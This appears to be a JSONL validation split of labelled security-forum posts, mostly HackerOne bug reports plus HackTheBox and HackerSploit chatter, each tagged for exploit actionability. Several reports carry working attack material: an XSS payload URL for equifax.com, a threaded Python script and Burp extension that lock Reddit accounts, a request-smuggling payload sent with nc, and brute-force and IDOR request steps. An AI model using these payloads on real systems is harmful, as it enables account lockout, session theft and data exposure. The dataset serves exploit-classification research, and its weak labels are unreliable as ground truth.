-{"id": "6b5d08c645f3d593169b", "text": "[Cross-site Scripting (XSS) - Reflected] reflected XSS in [www.equifax.com]\n\nhi , I hope you are well, i found reflected XSS in this endpoint via ```q```  parameter:\n```https://www.equifax.com/personal/search?q=broook```\n\n###Steps:\n\n1. open ```https://www.equifax.com/personal/search?q=broook```\n2. view the source code of the page and search for word broook you will find that it reflected in the source code: \n{F2094877}\n\n-\n-\n\n3. ```broook``` word reflected in javascript code:\n```\n<script type=\"text/javascript\">\n\nvar pageProduct = null;\nwindow.onload = function(e){ \n\t\t\n\t\tAnalytics.trackEvent('SEARCHRETURNED', {internalSearchTerm: \"broook\" , numOfSearchResultsReturned: 1});\n\t\n}\n</script>\n\n```\n-\n-\n\n4. By using this payload ```%22%20%2C%20internalSearchTerm%3A%20%5B\"broook\"%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b``` , I modified the parameters of the ```Analytics.trackEvent``` function to be like this:\n```\n<script type=\"text/javascript\">\n\nvar pageProduct = null;\nwindow.onload = function(e){ \n\t\t\n\t\tAnalytics.trackEvent('SEARCHRETURNED', {internalSearchTerm: \"\" , internalSearchTerm: [\"broook\"].map(alert) , numOfSearchResultsReturned: \"b\" , numOfSearchResultsReturned: 1});\n\t\n}\n</script>\n```\n{F2094892}\n\n-\n-\n\n5. the following is the link with my XSS payload:   https://www.equifax.com/personal/search?q=%22%20%2C%20internalSearchTerm%3A%20%5B\"broook\"%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b\n\n{F2094902}\n\n## Impact\n\nan attacker can exeute JS codes on the victims and this could be steal user's cookies", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f8b5589b6b428183aeff", "text": "f there is still an opening, I’d like a chance to join. I have been doing most of this stuff solo, would love to get more involved. DM me if this is still available.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d840c13883f22a5a4674", "text": "Hi, Did you try Behindflare? https://pkg.go.dev/github.com/alebeta90/behindflare#section-readme GitHub GitHub - alebeta90/behindflare: This tool was created as a Proof of Concept ... This tool was created as a Proof of Concept to reveal the threats related to web service misconfiguration using CloudFlare as reverse proxy and WAF - GitHub - alebeta90/behindflare: This tool was ... Or Shodan maybe? Shodan Shodan Search engine of Internet-connected devices. Create a free account to get started.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bf8158d9d212a4c7dd1c", "text": "[Improper Restriction of Authentication Attempts] Basic auth header on WebDAV requests is not bruteforce protected\n\nHi Team,\n\nI hope you are doing well.\n\nVulnerability Name :- Basic Authentication Bypass due to Lack of Rate Limit\n\nVulnerable URL :- https://efss.qloud.my/remote.php/dav/calendars/ha.ckitbharat3@gmail.com/app-generated--deck--board-5269/\n\nSteps to Reproduce :- 1. Login --> Go to Tasks.\n2. Copy private Link.\n3. It looks like :- https://efss.qloud.my/remote.php/dav/calendars/ha.ckitbharat3@gmail.com/app-generated--deck--board-5269/\n4. Open it in other browser .\n5. It asks for username and password .\n6. Username/email is in URL , enter same and for password enter random password.\n7. Capture this request in burp suite.\n8. There is an Auth header --> copy there value and see it's b64 encoded --> decode it --> create payloads of password and encode it as b64.\n9. Send to intruder and select that position and paste the payload list.\n10. Click on start attack and Boom! after few mins it got bypassed with Response code 200.\n\n## Impact\n\n1. Basic Authentication Bypass.\n2. Full Account takeover because attacker can easily know the password through here because of brute forcing as no rate limit is there.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "feaf28fef83333f1fe64", "text": "[Improper Synchronization] CVE-2023-28320: siglongjmp race condition\n\n## Summary:\nIf the system has no POSIX or Windows threading support, `USE_ALARM_TIMEOUT` codepath will be used in `lib/hostip.c`. If two threads will perform DNS resolving, a wrong register context can be used on  the signal handler`siglongjmp` call if DNS timeout occurs. Typically this results in segmentation fault, but depending on platform specifics other impacts might be possible (but unlikely).\n\nThe documentation warns against this very issue in https://curl.se/libcurl/c/threadsafe.html `It is important that libcurl can find and use thread safe versions of these and other system calls, as otherwise it cannot function fully thread safe.` The issue is that there is no way for the application using libcurl to know if the library is MT safe for DNS resolution or not. `CURL_VERSION_THREADSAFE` is mentioned, but this checks availability of atomic init, not MT safety of DNS resolution.\n\nA remote attacker in a privileged network position is able to selectively block the DNS responses and may thus induce the affected target application to crash.\n\n## Steps To Reproduce:\n\n  1. For quick testing on POSIX systems add `#define USE_ALARM_TIMEOUT` to `lib/hostip.c`, for example:\n ```\ndiff --git a/lib/hostip.c b/lib/hostip.c\nindex 2381290fd..0148f2861 100644\n--- a/lib/hostip.c\n+++ b/lib/hostip.c\n@@ -75,6 +75,7 @@\n /* alarm-based timeouts can only be used with all the dependencies satisfied */\n #define USE_ALARM_TIMEOUT\n #endif\n+#define USE_ALARM_TIMEOUT\n\n #define MAX_HOSTCACHE_LEN (255 + 7) /* max FQDN + colon + port number + zero */\n\n ```\n  2. Compile libcurl\n  3. Compile version of https://curl.se/libcurl/c/multithread.html but add `curl_easy_setopt(curl, CURLOPT_TIMEOUT, 2);` to  `pull_one_url` function.\n  4. Change DNS config to point to blackhole DNS server at `3.219.212.117` (blackhole.webpagetest.org)\n  5. Execute the compiled `multithread` and the application will segfault.\n\n```\n$ LD_LIBRARY_PATH=./lib/.libs:$LD_LIBRARY_PATH gdb ./multithread\nGNU gdb (Debian 13.1-2) 13.1\nCopyright (C) 2023 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.\nType \"show copying\" and \"show warranty\" for details.\nThis GDB was configured as \"x86_64-linux-gnu\".\nType \"show configuration\" for configuration details.\nFor bug reporting instructions, please see:\n<https://www.gnu.org/software/gdb/bugs/>.\nFind the GDB manual and other documentation resources online at:\n    <http://www.gnu.org/software/gdb/documentation/>.\n\nFor help, type \"help\".\nType \"apropos word\" to search for commands related to \"word\"...\nReading symbols from ./multithread...\n(No debugging symbols found in ./multithread)\n(gdb) r\nStarting program: /home/user/curl/multithread\n/home/user/curl/multithread: ./lib/.libs/libcurl.so.4: no version information available (required by /home/user/curl/multithread)\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n[New Thread 0x7ffff6ffc6c0 (LWP 2733684)]\nThread 0, gets http://curl.haxx.se/\n[New Thread 0x7ffff67fb6c0 (LWP 2733685)]\nThread 1, gets ftp://cool.haxx.se/\n[New Thread 0x7ffff5ffa6c0 (LWP 2733686)]\n[New Thread 0x7ffff57f96c0 (LWP 2733687)]\nThread 2, gets http://www.contactor.se/\n[New Thread 0x7ffff4ff86c0 (LWP 2733688)]\n[New Thread 0x7fffe77fe6c0 (LWP 2733690)]\n[New Thread 0x7fffe7fff6c0 (LWP 2733689)]\nThread 3, gets www.haxx.se\n[New Thread 0x7fffe6ffd6c0 (LWP 2733691)]\n\nThread 1 \"multithread\" received signal SIGSEGV, Segmentation fault.\n0x00007ffff7f42b32 in Curl_failf () from ./lib/.libs/libcurl.so.4\n(gdb) bt\n#0  0x00007ffff7f42b32 in Curl_failf () from ./lib/.libs/libcurl.so.4\n#1  0x00007ffff7f546dd in Curl_resolv_timeout () from ./lib/.libs/libcurl.so.4\n#2  0x0000000000000000 in ?? ()\n```\n\n## Risk discussion\nI don't consider this issue a major risk since it likely will affect only small percentage of target platforms. Some ", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-28320"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a45b1043f0434fa1154a", "text": "[Unknown] A vulnerability classified as critical has been found in gsi-openssh-server 7.9p1 on Fedora (Connectivity Software) on server (http://95.217.64.181:22\n\n## Summary:\n\" hello \"\nvulnerability:\nGSI-OPENSSH-SERVER 7.9P1 ON FEDORA /ETC/GSISSH/SSHD_CONFIG CREDENTIALS MANAGEMENT\nDescription of problem:\nA vulnerability classified as critical has been found in gsi-openssh-server 7.9p1 on Fedora (Connectivity Software) on server (http://95.217.64.181:22). This affects some unknown functionality of the file /etc/gsissh/sshd_config. The manipulation with an unknown input leads to a privilege escalation vulnerability. CWE is classifying the issue as CWE-255. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:\n\nAn issue was discovered in gsi-openssh-server 7.9p1 on Fedora 29. If PermitPAMUserChange is set to yes in the /etc/gsissh/sshd_config file, logins succeed with a valid username and an incorrect password, even though a failure entry is recorded in the /var/log/messages file.\nThe bug was discovered 02/08/2019. The weakness was released 02/08/2019. This vulnerability is uniquely identified as CVE-2019-7639 since 02/08/2019. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details of the vulnerability are known, but there is no available exploit. The attack technique deployed by this issue is T1552 according to MITRE ATT&CK.\n\n\nIf PermitPAMUserChange is set to yes in the sshd_config for gsi-openssh-server, anyone is allowed to login to the system with existing user even if they provide incorrect password\n\nVersion-Release number of selected component (if applicable): 7.9p1\n\nHow reproducible:\nAlways\n\nSteps to Reproduce:\n1. Install gsi-openssh-server\n2. Initialize rsa, ecdsa, ed25519 keys for gsi-openssh server using gsissh-keygen\n2. Set PermitPAMUserChange to yes in /etc/gsissh/sshd_config\n3. Run /usr/sbin/gsisshd\n4. Try to connect to the system using Putty with user \"root\" and some incorrect password like \"test1234\" (The actual password for root on the test system was root1234)\n\nActual results:\nUser gets logged in even though there is a failure entry in /var/log/messages for user authentication\n\n\nExpected results:\nUser should not be able to login unless he provides the correct password\n\nAdditional info:\nits possible that earlier versions might also be vulnerable.\n\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-7639\n\n## Impact\n\nThis is going to have an impact on confidentiality, integrity, and availability", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2019-7639"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c393979366f19838d75a", "text": "Don't have fom submit in lab appoiment\n\nHello, i’m try to capture de flag in appoiment lab, but saw the code page html and the page don’t have form submit event. So, the page login no make nothing. Somebody make can capture the flag ? Regards,", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3ea9fadf4a23a7a01058", "text": "i believe this should help anyone who needs it.. please do not hesitate to write at me for questions. Getting started | privilege escalation | quick solve Academy Hello, its x69h4ck3r here again. I am gonna make this quick. in other to solve this module, we need to gain access into the target machine via ssh. after that, we gain super user rights on the user2 user then escalate our privilege to root user. please follow my steps, will try to make this as easy as possible. Step 1: connect to target machine via ssh with the credential provided; example; ssh -l user1 <target_ip> -p Step 2: input the given password in the password field. NB: passwo…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df65453358000a45b146", "text": "[Unknown] Misconfigurated login page able to lock login action for any account without user interaction\n\n## Summary\nWhile observing a few things about the login feature, I found that the account was locked after a certain number of requests. Although this feature is actually added to prevent problems such as rate limit, it is open to account lock attacks by attackers.\n\n## PoC\n1. Save this code as `exploit.py`:\n\n```\n#!/bin/python3\n\nfrom requests import get, post\nfrom sys import argv\nfrom warnings import filterwarnings\nfrom time import sleep\nfrom concurrent.futures import ThreadPoolExecutor\n\nfilterwarnings(\"ignore\")\n\ndef get_creds():\n    res = get(\"https://www.reddit.com/login/?experiment_d2x_2020ify_buttons=enabled&experiment_d2x_sso_login_link=enabled&experiment_d2x_google_sso_gis_parity=enabled&experiment_d2x_onboarding=enabled\")\n    \n    csrf_token = res.text.split('name=\"csrf_token\" value=\"')[1].split('\">')[0]\n    \n    return res.cookies.get_dict(), csrf_token\n\ndef lock_account(account, cookie, csrf_token):\n    post(\"https://www.reddit.com/login\", cookies=cookie, proxies={\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}, data={\"csrf_token\": csrf_token, \"otp\": '', \"password\": \"asdasdasasdasd231321d\", \"dest\": \"https://www.reddit.com\", \"username\": account}, headers={\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\", \"Accept\": \"*/*\", \"Accept-Language\": \"en-US,en;q=0.5\", \"Accept-Encoding\": \"gzip, deflate\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Origin\": \"https://www.reddit.com\", \"Sec-Fetch-Dest\": \"empty\", \"Sec-Fetch-Mode\": \"cors\", \"Sec-Fetch-Site\": \"same-origin\", \"Referer\": \"https://www.reddit.com/login/?experiment_d2x_2020ify_buttons=enabled&experiment_d2x_sso_login_link=enabled&experiment_d2x_google_sso_gis_parity=enabled&experiment_d2x_onboarding=enabled\", \"Connection\": \"close\"}, verify=False)\n\ncookie, csrf_token = get_creds()\n    \nfor _ in range(14):\n    ThreadPoolExecutor(max_workers=15).submit(lock_account, str(argv[1]), cookie, csrf_token)\n\nprint(\"Account Locked!!\")\n        \nsleep(60)\n    \nwhile True:\n    cookie, csrf_token = get_creds()\n    \n    for _ in range(14):\n        ThreadPoolExecutor(max_workers=15).submit(lock_account, str(argv[1]), cookie, csrf_token)\n        \n    sleep(60)\n```\n2. Save this code as `helper.py`:\n```\nfrom burp import IBurpExtender\nfrom burp import IHttpListener\n\nimport random\nimport socket\nimport struct\n\nHOST_FROM = \"www.reddit.com\"\nHOST_TO = \"ugroon.link\"\n\nclass BurpExtender(IBurpExtender, IHttpListener):\n    def registerExtenderCallbacks(self, callbacks):\n        self._helpers = callbacks.getHelpers()\n        \n        callbacks.setExtensionName(\"Traffic redirector\")\n        callbacks.registerHttpListener(self)\n\n    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):\n        helpers = self._helpers\n        if not messageIsRequest:\n            return\n        httpService = messageInfo.getHttpService()\n\n        if (HOST_FROM == httpService.getHost()):\n            message = helpers.bytesToString(messageInfo.getRequest())\n            message = message.replace(\"Host: \" + HOST_FROM, \"Host: \" + HOST_TO)\n            message_array = message.split(\"\\n\")\n            random_ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))\n            message_array.insert(3, \"X-My-X-Forwarded-For: \" + random_ip)\n            message = \"\\n\".join(message_array)\n            \n            print(message)\n            \n            message = helpers.stringToBytes(message)\n            messageInfo.setHttpService(self._helpers.buildHttpService(HOST_TO,httpService.getPort(),httpService.getProtocol()))\n\n```\n3. Download jython 2.7.0 (http://search.maven.org/remotecontent?filepath=org/python/jython-standalone/2.7.0/jython-standalone-2.7.0.jar)\n4. Download a burp which is older than 2021 version (new versions giving too many errors)\n5. Set jython 2.7.0 with `Extender > Options > Python Environment > Location of Jython standalone JAR file > jython 2.7.0 location`\n6. Upload `helper.py` to extensions with `Extender >  Extensions > B", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "91c989e5f4152febf374", "text": "[Improper Access Control - Generic] Improper Access Control on Media Wiki allows an attackers to restart installation on DoD asset\n\nHello,\n\nI notice that is possible to restart installation on this media wiki website due to the fact that /mw-config/index.php is available without authentication\n\nPoc:\nhttps://█████████/mw-config/index.php\n\nRegards\n\n## Impact\n\nAttackers can restart the application.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nGo directly to https://██████████/mw-config/index.php and you should see the restart installation button.\n\n## Suggested Mitigation/Remediation Actions\nBlock all access to your mw-config folder.\n\nWe fixed this by adding:\n\nRedirectMatch 404 /\\mw-config", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "231a0a516b82de95385c", "text": "Try to use dnsenum with any subdomain that you found on your first subdomain enumeration.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f90e1d5dc81496b8953f", "text": "[Improper Authorization] staffOrderNotificationSubscriptionDelete Could Be Used By Staff Member With Settings Permission\n\nHi,\n\nThe staff order notification should be under the control of staff members with `Order` permission but I found that the staff member with just `Settings` permission can also delete the order notifications using the GID\n\nSteps to reproduce\n- Login as a staff member with `Settings` permission\n- Make this GraphQL call to `https://yoursubdomain.myshopify.com/admin/internal/web/graphql/core?operation=SwitcherNoStores`\n\n```\n{\"query\": \"mutation{staffOrderNotificationSubscriptionDelete(staffOrderNotificationSubscriptionId:\\\"gid://shopify/StaffOrderNotificationSubscription/82867191864\\\"){userErrors{message}}} \"}\n```\n\n- Note: you can find the `82867191864` id from `/admin/settings/notifications` as an admin account, in the `Staff order notifications` section, after adding a order notification and the id is in the URL\n\n- The response you see should be `{\"staffOrderNotificationSubscriptionDelete\":{\"userErrors\":[]}}`, and this means you have deleted the subscription already\n\n## Impact\n\nThe staff order notification should be under the control of staff members with `Order` permission but I found that the staff member with just `Settings` permission can also delete the order notifications using the GID", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "adc2b9435b78c2f9163f", "text": "I don’t know why but it’s not advisable to use “${ #var }”, using other methods to obtain the length of $var it worked perfectly!!!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5df0cf49d51f04739411", "text": "[Insecure Direct Object Reference (IDOR)] IDOR leaking PII data via VendorId parameter\n\n**Description:**\nDear DoD,\n\nI found one bug on your domain from Hack US program:  █████\nIt's IDOR bug. Make sure to know that I didn't test many funcs here for IDOR. I didn't test for ATO (Account Takeover). But you should fix this.\n Here's the PoC:\n\n██████████\n\nThank you DoD!\n\n## Impact\n\nAn attacker could steal users information via IDOR and use it for phishing and more stuff maybe it can lead to ATOs (Accounts Takeovers).\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\nUsers  are affected.\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to  ███████\n2.  Make two accounts one attacker and one victim account.\n3. Login as attacker account account. \n4. Go to my companies.\n5. Scroll down there and you will see company contacts.\n6. Click edit then turn your foxy proxy on and open your burp suit and save so you can intercept request.\n7. Intercept your request. The request should look like this:\n\n```javascript\nPOST /█████████/Vendor/Company/Contacts/SavePOC HTTP/1.1\nHost: ███████\nCookie: .AspNetCore.Antiforgery.wZhPOrJ1UhI=; TS014b77bb=; .AspNetAuth=; .AspNetCore.Mvc.CookieTempDataProvider=; ASP.NET_SessionId=; TS0144f203=; CSRF-TOKEN=; .AspNetCore.Session=\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: */*\nAccept-Language: hr,hr-HR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 647\nOrigin: https://██████████\nReferer: █████████████/Vendor/Company/Profile/129111\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\nEditPOCvm.Email=attacker@gmail.com&EditPOCvm.PositionTitleIds=10&EditPOCvm.Title=Pentester&EditPOCvm.FirstName=attacking&EditPOCvm.MiddleName=test&EditPOCvm.LastName=wearehackerone&EditPOCvm.PhoneNumber=13333333333333339&EditPOCvm.LanguageId=&EditPOCvm.Password=&EditPOCvm.ConfirmPassword=&userId=0&passChange=&EditPOCvm.PersonProfileId=&EditPOCvm.CitizenshipId=101&VendorId=<your id>&VendorPersonProfileId=<your id>&__RequestVerificationToken=&IsAdmin=false&X-Requested-With=XMLHttpRequest\n```\n8. Send request in repeater tab ( i will show that request in my PoC video)\n9. Change VendorId parameter to victims VendorId parameter. \n10. You will get victims some information.\n11. Also you need to login as victim too and intercept request if you want victims vendorId or brute force it.\n\n## Suggested Mitigation/Remediation Actions\nWeb-applications should validate all untrusted input received with every HTTP request. Your applications should perform whitelist validation on each input, verifying that the incoming value meets your applications’ expectations pertaining to:\n    Minimum or maximum length\nMinimum or maximum bounds for numeric values\nAcceptable characters\nData Types like string, date, integer, or rational\nSet membership\nPattern such as phone number, social security, or employer ID\nUsing whitelist validation, also called Syntactic Validation, your applications will impose checks, such as the ones above, on each input  that must be satisfied, otherwise it is rejected. Whitelist checks merely certify the content of inputs instead of trying to decipher the meaning behind them.\nYour tech teams can leverage Syntactic Validation with Logical Validation by adding checks to see if the input values make sense. Logical validation takes into account the meaning behind reference value and ensures values are consistent with design intent. For example:\n    An “id” parameter may represent a customer identifier. Using logical validation, it may be checked to ensure authorized access by the user.\nAn “account” parameter may represent a user’s account. Using logical validation, it may be verified that the information displayed is that of the specific user’s.\nUsing Indirect References\nAnother way to combat IDORs is to design resources such as ids, names, and keys to be replaced with cryptographically strong random values.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6744d8ec320f37fd4e2b", "text": "[HTTP Request Smuggling] HTTP Request Smuggling via Empty headers separated by CR\n\nThis report was originally submitted here: https://hackerone.com/reports/2001873\n\n---\n\n\n**Summary:** \nThe `llhttp` parser in the http module in Node v20.2.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).\n\n**Description:** \nThe CR character (without LF) is sufficient to delimit HTTP header fields in the llhttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.\n\n## Steps To Reproduce:\n\n*Server:*\n```javascript\nconst http = require(\"http\");\nhttp\n  .createServer((request, response) => {\n    let body = [];\n    request\n      .on(\"error\", (err) => {\n        response.end(\"Request Error: \" + err);\n      })\n      .on(\"data\", (chunk) => {\n        body.push(chunk);\n      })\n      .on(\"end\", () => {\n        body = Buffer.concat(body).toString();\n        // log the body to stdout to catch the smuggled request\n        console.log(\"Response\");\n        console.log(request.headers);\n        console.log(body);\n        console.log(\"---\");\n        response.on(\"error\", (err) => {\n          // log the body to stdout to catch the smuggled request\n          response.end(\"Response Error: \" + err);\n        });\n        response.end(\n          \"Body length: \" + body.length.toString() + \" Body: \" + body\n        );\n      });\n  })\n  .listen(5000);\n```\n*Payload:*\n1. Execute the below command.\n```shell\nprintf \"POST / HTTP/1.1\\r\\n\"\\\n             \"Host: localhost:5000\\r\\n\"\\\n             \"X-Abc:\\rxTransfer-Encoding: chunked\\r\\n\"\\\n             \"\\r\\n\"\\\n             \"1\\r\\n\"\\\n             \"A\\r\\n\"\\\n             \"0\\r\\n\"\\\n             \"\\r\\n\" | nc localhost 5000\n```\n2. Note that the value of `X-Abc` header in the request is - `[\\r]xTransfer-Encoding: chunked[\\r\\n]`\n3. The llhttp library parses this as a `Transfer-Encoding: chunked` header.\n```\nResponse\n{ host: 'localhost:5000', 'x-abc': '', 'transfer-encoding': 'chunked' }\nA\n---\n```\n*Note:*\n1. The next character to `\\r` is missing in the parsed header name.\n2.  This test case is missing from https://github.com/nodejs/llhttp/blob/main/test/request/invalid.md.\nA frontend proxy that does not consider `\\r` as termination of an HTTP header value, could forward this to a backend, causing an HRS. \n\n## Supporting Material/References:\nThis report is similar to:\n  * https://hackerone.com/reports/1888760\n\n## Impact\n\nHTTP Request Smuggling can lead to Access Control Bypass", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "113fa3768c5b28096b71", "text": "There is a lot of caveats for getting this lab to work. Have to use an IDE in the pwnbox VM on the browser, install .NET, and apparently have to be connected using the EU VPN…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2145513ed952d0b1f0e0", "text": "about enumeration\n\nwhen i try this code nmap scan 738×52 21.7 KB i get this benim 825×247 45.1 KB but in enumeration video hackersploit gets this whats the problem nmap1 1217×746 80.5 KB", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-10-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f6d7d1ad344141af284b", "text": "[Uncontrolled Resource Consumption] Memory leak in CURLOPT_XOAUTH2_BEARER\n\n## Summary:\nOnce a bearer token is set with `CURLOPT_XOAUTH2_BEARER`, each HTTP request done with the same handler leaks the token itself.\n\n## Steps To Reproduce:\n\nGiven the following code:\n\n```c\n#include <curl/curl.h>\n\nint main(void) {\n  curl_global_init(CURL_GLOBAL_ALL);\n\n  CURL* curl = curl_easy_init();\n\n  curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BEARER);\n  curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, \"c4e448d652a961fda0ab64f882c8c161d5985f805d45d80c9ddca108f8e2fde3\");\n  curl_easy_setopt(curl, CURLOPT_HTTPGET, 1L);\n  curl_easy_setopt(curl, CURLOPT_URL, \"https://andrea.pappacoda.it\");\n\n  for (int i = 0; i < 5; i++) {\n    curl_easy_perform(curl);\n  }\n\n  curl_easy_cleanup(curl);\n\n  curl_global_cleanup();\n}\n```\n\nAddressSanitizer reports a memory leak:\n\n```text\n$ cc -g -fsanitize=address main.c $(pkg-config --cflags --libs libcurl) -o asan && ./asan\n=================================================================\n==41730==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 260 byte(s) in 4 object(s) allocated from:\n    #0 0x7f52f54d97a7 in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cpp:454\n    #1 0x7f52f54423cd  (/lib/x86_64-linux-gnu/libcurl.so.4+0x673cd)\n\nSUMMARY: AddressSanitizer: 260 byte(s) leaked in 4 allocation(s).\n```\n\nand valgrind does too:\n\n```text\n$ cc -g main.c $(pkg-config --cflags --libs libcurl) -o valgrind && valgrind --leak-check=full ./valgrind\n==41878== \n==41878== HEAP SUMMARY:\n==41878==     in use at exit: 3,710 bytes in 12 blocks\n==41878==   total heap usage: 32,937 allocs, 32,925 frees, 3,397,085 bytes allocated\n==41878== \n==41878== 260 bytes in 4 blocks are definitely lost in loss record 5 of 8\n==41878==    at 0x483F7B5: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)\n==41878==    by 0x499331A: strdup (strdup.c:42)\n==41878==    by 0x48CB3CD: ??? (in /usr/lib/x86_64-linux-gnu/libcurl.so.4.8.0)\n==41878==    by 0x48AB9B7: ??? (in /usr/lib/x86_64-linux-gnu/libcurl.so.4.8.0)\n==41878==    by 0x48AC81D: curl_multi_perform (in /usr/lib/x86_64-linux-gnu/libcurl.so.4.8.0)\n==41878==    by 0x4884AE2: curl_easy_perform (in /usr/lib/x86_64-linux-gnu/libcurl.so.4.8.0)\n==41878==    by 0x1092FB: main (main.c:15)\n==41878== \n==41878== LEAK SUMMARY:\n==41878==    definitely lost: 260 bytes in 4 blocks\n==41878==    indirectly lost: 0 bytes in 0 blocks\n==41878==      possibly lost: 0 bytes in 0 blocks\n==41878==    still reachable: 3,450 bytes in 8 blocks\n==41878==         suppressed: 0 bytes in 0 blocks\n==41878== Reachable blocks (those to which a pointer was found) are not shown.\n==41878== To see them, rerun with: --leak-check=full --show-leak-kinds=all\n==41878== \n==41878== For lists of detected and suppressed errors, rerun with: -s\n==41878== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)\n```\n\n\n## Supporting Material/References:\n\nAs mentioned in curl's SECURITY-PROCESS.md, \"small memory leaks\" do not account for vulnerabilities, but as I describe below this leak can be triggered multiple times very easily. I thus preferred reporting this in private form to be on the safe side.\n\nSome more info about my environment:\n\n```text\n$ curl -V\ncurl 7.83.0 (x86_64-pc-linux-gnu) libcurl/7.83.0 OpenSSL/1.1.1o zlib/1.2.11 brotli/1.0.9 zstd/1.5.2 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.0) libssh2/1.10.0 nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.11\nRelease-Date: 2022-04-27\nProtocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp \nFeatures: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL 